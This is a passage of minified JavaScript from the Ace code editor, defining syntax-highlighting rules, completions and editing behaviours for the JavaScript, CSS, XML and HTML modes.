i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new 